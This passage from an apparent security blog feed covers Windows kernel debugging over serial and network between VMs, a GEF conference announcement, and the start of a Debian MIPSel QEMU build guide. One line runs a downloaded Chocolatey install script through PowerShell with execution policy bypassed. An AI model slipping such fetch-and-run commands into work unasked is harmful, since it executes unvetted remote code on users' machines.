&lt;pre data-lang=&quot;ps1&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-ps1 &quot;&gt;&lt;code class=&quot;language-ps1&quot; data-lang=&quot;ps1&quot;&gt;&lt;span&gt;C:\&amp;gt; @&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;iex ((New-Object System.Net.WebClient).DownloadString(&amp;#39;https:&#x2F;&#x2F;chocolatey.org&#x2F;install.ps1&amp;#39;))&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &amp;amp;&amp;amp; SET &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;PATH=%PATH%;%ALLUSERSPROFILE%\chocolatey\bin&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;chocolatey is being installed...&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;C:\&amp;gt; choco install -y --force windbg
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Although this won’t install the very latest WinDBG, this approach is convenient
to going through downloading and installing the SDK from MS
website. Additionally, you can script it to install more tools useful for
later (&lt;code&gt;python&lt;&#x2F;code&gt;, &lt;code&gt;ConEmu&lt;&#x2F;code&gt;, &lt;code&gt;HxD&lt;&#x2F;code&gt; etc.)&lt;&#x2F;p&gt;
&lt;h2 id=&quot;setup-uart-debugging-on-the-windows-7-target&quot;&gt;Setup UART debugging on the Windows 7 target&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;&#x2F;strong&gt;: All is described
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows-hardware&#x2F;drivers&#x2F;devtest&#x2F;boot-parameters-to-enable-debugging&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;All OS can be kernel-debugged via Serial Port (or UART). Although this method is
universal, it is also the slowest.&lt;&#x2F;p&gt;
&lt;p&gt;To enable it, start the Windows 7 debuggee VM, open a &lt;code&gt;cmd.exe&lt;&#x2F;code&gt; as
Administrator, and add another entry to the boot loader
using &lt;code&gt;bcdedit&lt;&#x2F;code&gt; utility:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ps1&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-ps1 &quot;&gt;&lt;code class=&quot;language-ps1&quot; data-lang=&quot;ps1&quot;&gt;&lt;span&gt;C:\&amp;gt; bcdedit &#x2F;copy {current} &#x2F;d &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Windows 7 with kernel debug via COM&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Then enable debug mode on new entry UUID:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ps1&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-ps1 &quot;&gt;&lt;code class=&quot;language-ps1&quot; data-lang=&quot;ps1&quot;&gt;&lt;span&gt;C:\&amp;gt; bcdedit &#x2F;debug {UUID-RETURNED-BY-FORMER-COMMAND} on
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;win7-bcdedit-enable-debug.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;win7-bcdedit-enable-debug.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Now instruct Windows serial communication as debugging medium, and use the
“fastest” baud rate (i.e 115200 symbols&#x2F;sec). Since we’ll only use serial
debugging for this VM, we can use the &lt;code&gt;bcdedit &#x2F;dbgsettings&lt;&#x2F;code&gt; global switch.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ps1&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-ps1 &quot;&gt;&lt;code class=&quot;language-ps1&quot; data-lang=&quot;ps1&quot;&gt;&lt;span&gt;C:\&amp;gt; bcdedit &#x2F;dbgsettings serial debugport:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt; baud rate:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;115200
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;em&gt;Note&lt;&#x2F;em&gt;: if we wanted to set debug settings specific to one entry of the boot
loader, we would’ve used &lt;code&gt;bcdedit &#x2F;set&lt;&#x2F;code&gt; instead. For instance:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ps1&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-ps1 &quot;&gt;&lt;code class=&quot;language-ps1&quot; data-lang=&quot;ps1&quot;&gt;&lt;span&gt;C:\&amp;gt; bcdedit &#x2F;set {UUID-RETURNED-BY-FORMER-COMMAND} debugtype serial
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now, shutdown the VM and go to its settings on VirtualBox (&lt;strong&gt;Machine&lt;&#x2F;strong&gt; -&amp;gt;
&lt;strong&gt;Settings&lt;&#x2F;strong&gt;) and in the “Serial Ports” tab, enable one port and bind it to
&lt;code&gt;COM1&lt;&#x2F;code&gt; (since we used the &lt;code&gt;debugport:1&lt;&#x2F;code&gt; above with &lt;code&gt;bcdedit&lt;&#x2F;code&gt;), and select &lt;code&gt;Host Pipe&lt;&#x2F;code&gt; as Port Mode. Last provide a path to file in the &lt;code&gt;Path&#x2F;Address&lt;&#x2F;code&gt; field, for
example &lt;code&gt;&#x2F;tmp&#x2F;win7-kd-pipe&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;win7-vbox-settings.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;win7-vbox-settings.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;The tickbox &lt;code&gt;Connect to existing pipe&#x2F;socket&lt;&#x2F;code&gt; means that the debuggee will
always have to be started &lt;strong&gt;after&lt;&#x2F;strong&gt; the debugger VM, or VirtualBox will throw an
error.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;running-the-debugging-session&quot;&gt;Running the debugging session&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;on-the-debugger&quot;&gt;On the debugger&lt;&#x2F;h4&gt;
&lt;p&gt;Start the debugger VM first and prepare WinDBG for kernel-mode debugging
(Ctrl-K) by selecting COM as debug vector:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;win7-windbg-option.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;win7-windbg-option.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;WinDBG will then wait for communications on COM1.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ps1&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-ps1 &quot;&gt;&lt;code class=&quot;language-ps1&quot; data-lang=&quot;ps1&quot;&gt;&lt;span&gt;Microsoft (R) Windows Debugger Version &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;6.3&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;9600.17298&lt;&#x2F;span&gt;&lt;span&gt; X86
&lt;&#x2F;span&gt;&lt;span&gt;Copyright (c) Microsoft Corporation. All rights reserved.
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;Opened \\.\com1
&lt;&#x2F;span&gt;&lt;span&gt;Waiting to reconnect...
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;************* Symbol Path validation summary **************
&lt;&#x2F;span&gt;&lt;span&gt;Response                         Time (ms)     Location
&lt;&#x2F;span&gt;&lt;span&gt;Deferred                                       srv*c:\syms*http:&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;msdl.microsoft.com&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;download&#x2F;symbols
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;on-the-debuggee&quot;&gt;On the debuggee&lt;&#x2F;h4&gt;
&lt;p&gt;Start the debuggee, and when the boot loader menu shows up, select the entry
named &lt;code&gt;Windows 7 with kernel debug via COM&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;win7-boot-manager.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;win7-boot-manager.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;As you see Windows already indicates that this entry will be in debug mode. And
when you press Enter, the debugger VM will be attached to the debuggee.&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;win7-debug-session.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;win7-debug-session.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;You’re now debugging the Windows 7 x86 VM kernel!! But as you’ll see, Serial
Port debugging will drastically slow down all operations on the debuggee. This
is why projects like VirtualKD came to life, but personnally, if the target VM
is a Windows 8+, my favorite kernel debugging method is Network based, as
detailed below.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;setup-network-kernel-debugging-for-the-windows-8-target&quot;&gt;Setup Network kernel debugging for the Windows 8+ target&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;&#x2F;strong&gt;: All is described
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows-hardware&#x2F;drivers&#x2F;debugger&#x2F;setting-up-a-network-debugging-connection&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;IMHO, this method is the best and fastest method to debug Windows kernel, but it
has 2 constraints:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;you must use a compatible network adapter (not so much a problem for
VirtualBox or VMware)&lt;&#x2F;li&gt;
&lt;li&gt;the debuggee &lt;strong&gt;must&lt;&#x2F;strong&gt; be running Windows 8 or later.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;When preparing the VM, make sure to add an extra Network Card as Host-Only, and
linked to the same interface as the one specified on the host
(i.e. &lt;code&gt;vboxnet0&lt;&#x2F;code&gt;). &lt;strong&gt;Important note&lt;&#x2F;strong&gt;: in the “Advanced” section, select one of
the Intel Pro card (preferably PRO&#x2F;1000 MT Desktop). The reason for that is that
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows-hardware&#x2F;drivers&#x2F;debugger&#x2F;supported-ethernet-nics-for-network-kernel-debugging-in-windows-8-1&quot;&gt;Windows network kernel debugging does not work with all network controllers&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Boot the VM, and then open the “Device Manager” (Control Panel -&amp;gt;
System -&amp;gt; Advanced system settings -&amp;gt; on the Hardware tab). Expand “Network
adapters” and select the 2nd device’s properties menu. On the new window, the
“Location” field will be required to assignate this interface for debugging:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;win8-network-controller-properties.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;win8-network-controller-properties.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;This indicates us the bus parameters we will need to provide &lt;code&gt;bcdedit&lt;&#x2F;code&gt; later on,
with the format &lt;code&gt;&amp;lt;BusNumber&amp;gt;:&amp;lt;DeviceNumber&amp;gt;:&amp;lt;FunctionNumber&amp;gt;&lt;&#x2F;code&gt; (in this case
&lt;code&gt;0.8.0&lt;&#x2F;code&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;Now open an administrator prompt and use &lt;code&gt;bcdedit&lt;&#x2F;code&gt; utility to create a
new entry to the boot manager like we did on Windows 7, and enable the debug
mode for it. But unlike Windows 7, now we have to setup the network properties:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ps1&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-ps1 &quot;&gt;&lt;code class=&quot;language-ps1&quot; data-lang=&quot;ps1&quot;&gt;&lt;span&gt;C:\&amp;gt; bcdedit &#x2F;dbgsettings net hostip:ip.of.debugger.vm port:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;50000&lt;&#x2F;span&gt;&lt;span&gt; key:Kernel.Debugging.Is.Fun
&lt;&#x2F;span&gt;&lt;span&gt;C:\&amp;gt; bcdedit &#x2F;set {dbgsettings} busparams &amp;lt;BusNumber&amp;gt;.&amp;lt;DeviceNumber&amp;gt;.&amp;lt;FunctionNumber&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;win8-setup-kernel-mode.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;win8-setup-kernel-mode.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;h3 id=&quot;running-the-debugging-session-1&quot;&gt;Running the debugging session&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;on-the-debugger-1&quot;&gt;On the debugger&lt;&#x2F;h4&gt;
&lt;p&gt;Start the debugger VM first and prepare WinDBG for kernel-mode debugging
(Ctrl-K) by selecting NET as debug vector, and set the Port and Key adequately.
WinDBG will then be waiting for new connection:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;Microsoft (R) Windows Debugger Version 6.3.9600.17336 AMD64
&lt;&#x2F;span&gt;&lt;span&gt;Copyright (c) Microsoft Corporation. All rights reserved.
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;Using NET for debugging
&lt;&#x2F;span&gt;&lt;span&gt;Opened WinSock 2.0
&lt;&#x2F;span&gt;&lt;span&gt;Waiting to reconnect...
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;on-the-debuggee-1&quot;&gt;On the debuggee&lt;&#x2F;h4&gt;
&lt;p&gt;Start the VM. When the boot loader menu shows up, select the one with the
network kernel mode enabled&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;win8-boot-loader.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;win8-boot-loader.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;The debugger will show some activity immediately. Note that execution of the
debuggee will not stop, so you may hit Ctrl-Break at any time to force an
interruption:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;win8-success.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;win8-success.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;In this post, we’ve presented 2 techniques for kernel debugging, depending on
the Windows version targeted. Some other techniques exist (FireWire, USB
debugging) but they are slightly harder to put in place.&lt;&#x2F;p&gt;
&lt;p&gt;The next post will cover more of Windows kernel exploitation 101 by going
through some vulnerabilities on
the
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hacksysteam&#x2F;HackSysExtremeVulnerableDriver&quot;&gt;HEVD driver&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Cheers ✌&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>GEF at Black Hat Arsenal US 2017</title>
        <published>2017-08-01T00:00:00+00:00</published>
        <updated>2017-08-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2017-08-01-gef-at-black-hat-arsenal-us-2017/"/>
        <id>https://blahcat.github.io/2017-08-01-gef-at-black-hat-arsenal-us-2017/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2017-08-01-gef-at-black-hat-arsenal-us-2017/">&lt;h1 id=&quot;gef-at-black-hat-arsenal-us-2017&quot;&gt;GEF at Black Hat Arsenal US 2017&lt;&#x2F;h1&gt;
&lt;p&gt;I had the privilege to be invited to present my tool &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;gef&quot;&gt;&lt;code&gt;GEF&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; at &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blackhat.com&quot;&gt;Black Hat Arsenal&lt;&#x2F;a&gt; organized by ToolsWatch in Las Vegas this year.&lt;&#x2F;p&gt;
&lt;p&gt;I did prepare a bunch of things for this presentation, including a good polishing of the docs, and a series of screencasts for people new to the tool, so they can start using the best features straight away.&lt;&#x2F;p&gt;
&lt;p&gt;You can find the presentation slides &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;christophe.alladoum.free.fr&#x2F;public&#x2F;blackhat-2017&#x2F;BH-USA-17-Alladoum-GDB-Enhanced-Features.pdf&quot;&gt;here&lt;&#x2F;a&gt; and the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;goo.gl&#x2F;1QAZM4&quot;&gt;tutorial playlist on YouTube&lt;&#x2F;a&gt; for the screencasts to start learning using it, and some of its best features.&lt;&#x2F;p&gt;
&lt;p&gt;Thank you to those who attended (especially with the collision with the lunch period ☹ ), and as usual if you have questions, feel free to reach out.&lt;&#x2F;p&gt;
&lt;p&gt;Cheers !&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Building a Debian Stretch QEMU image for MIPSel</title>
        <published>2017-07-14T00:00:00+00:00</published>
        <updated>2017-07-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2017-07-14-building-a-debian-stretch-qemu-image-for-mipsel/"/>
        <id>https://blahcat.github.io/2017-07-14-building-a-debian-stretch-qemu-image-for-mipsel/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2017-07-14-building-a-debian-stretch-qemu-image-for-mipsel/">&lt;h1 id=&quot;building-a-debian-stretch-9-qemu-image-running-mipsel&quot;&gt;Building a Debian Stretch (9) QEMU image running MIPSel&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;&#x2F;strong&gt;
Two new images, Debian Stretch on MIPSel and MIPS64el were added to
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mega.nz&#x2F;#F!oMoVzQaJ!iS73iiQQ3t_6HuE-XpnyaA&quot;&gt;my QEMU image repo&lt;&#x2F;a&gt;
The rest of this post explains how I built them.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;introduction&quot;&gt;Introduction&lt;&#x2F;h3&gt;
&lt;p&gt;After releasing &lt;a href=&quot;&#x2F;posts&#x2F;2017&#x2F;06&#x2F;25&#x2F;qemu-images-to-play-with.html&quot;&gt;the QEMU images&lt;&#x2F;a&gt; I’ve created to test &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;gef&quot;&gt;&lt;code&gt;GEF&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;, I’ve received tons of demands from people asking for more images, but also for some DYI procedures.&lt;&#x2F;p&gt;
&lt;p&gt;As &lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;Fox0x01&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@Fox0x01&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
, through this blog post I intend to provide a step-by-step how-to on building a Debian Stretch Malta MIPS32el image.&lt;&#x2F;p&gt;
&lt;div
    markdown=&quot;span&quot;
    class=&quot;
    
    alert-info
    
    &quot;
    &gt;&lt;b class=&quot;markdown-alert-title&quot;&gt;
    
        &lt;svg class=&quot;octicon octicon-info mr-2&quot; viewBox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z&quot;&gt;&lt;&#x2F;path&gt;&lt;&#x2F;svg&gt;
        Note
    
        &lt;&#x2F;b&gt;
        &lt;p&gt;&lt;p&gt;There is no miracle here, I’ve just spend a long time googling for solution every time I was facing a problem. This tuto is more for a being a personal reminder for the future times I need to build an image 😊&lt;&#x2F;p&gt;

        &lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;h3 id=&quot;pre-requisites&quot;&gt;Pre-requisites&lt;&#x2F;h3&gt;
&lt;p&gt;For the Debian MIPS net installer, the &lt;code&gt;initrd&lt;&#x2F;code&gt; &lt;strong&gt;is&lt;&#x2F;strong&gt; the installation
device. No need to download any ISO or such, simply download:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;the initrd (the distro installer):&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; wget http:&#x2F;&#x2F;ftp.debian.org&#x2F;debian&#x2F;dists&#x2F;Debian9.13&#x2F;main&#x2F;installer-mipsel&#x2F;current&#x2F;images&#x2F;malta&#x2F;netboot&#x2F;initrd.gz
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;a kernel to boot on:&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; wget http:&#x2F;&#x2F;ftp.debian.org&#x2F;debian&#x2F;dists&#x2F;Debian9.13&#x2F;main&#x2F;installer-mipsel&#x2F;current&#x2F;images&#x2F;malta&#x2F;netboot&#x2F;vmlinux-4.9.0-13-4kc-malta
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You also need a hard drive to install the OS on:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; qemu-img create&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -f&lt;&#x2F;span&gt;&lt;span&gt; qcow2 disk.qcow2 20G
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Since we’re using the Debian net installer, we will need an Internet connection. Also don’t be surprised to see your CPU activity jump up and your fans get louder!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;installing-debian&quot;&gt;Installing Debian&lt;&#x2F;h2&gt;
&lt;p&gt;Start the installation with:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; qemu-system-mipsel&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -M&lt;&#x2F;span&gt;&lt;span&gt; malta&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -m&lt;&#x2F;span&gt;&lt;span&gt; 1G \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;  -hda&lt;&#x2F;span&gt;&lt;span&gt; .&#x2F;disk.qcow2 \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;  -initrd&lt;&#x2F;span&gt;&lt;span&gt; .&#x2F;initrd.gz \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;  -kernel&lt;&#x2F;span&gt;&lt;span&gt; .&#x2F;vmlinux-4.9.0-4-4kc-malta&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -append &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;nokaslr&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;  -nographic
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The kernel boot option &lt;code&gt;nokaslr&lt;&#x2F;code&gt; is required or you’ll get an error when the
kernel will try to decompress &lt;code&gt;initrd&lt;&#x2F;code&gt;. The reason is:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;[…] that QEMU loads the initrd into the memory
immediately after the kernel, but that bit of memory might get
overwritten by KASLR when the kernel starts and relocates itself.
You can workaround it by passing “-append nokaslr” to QEMU, […]&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
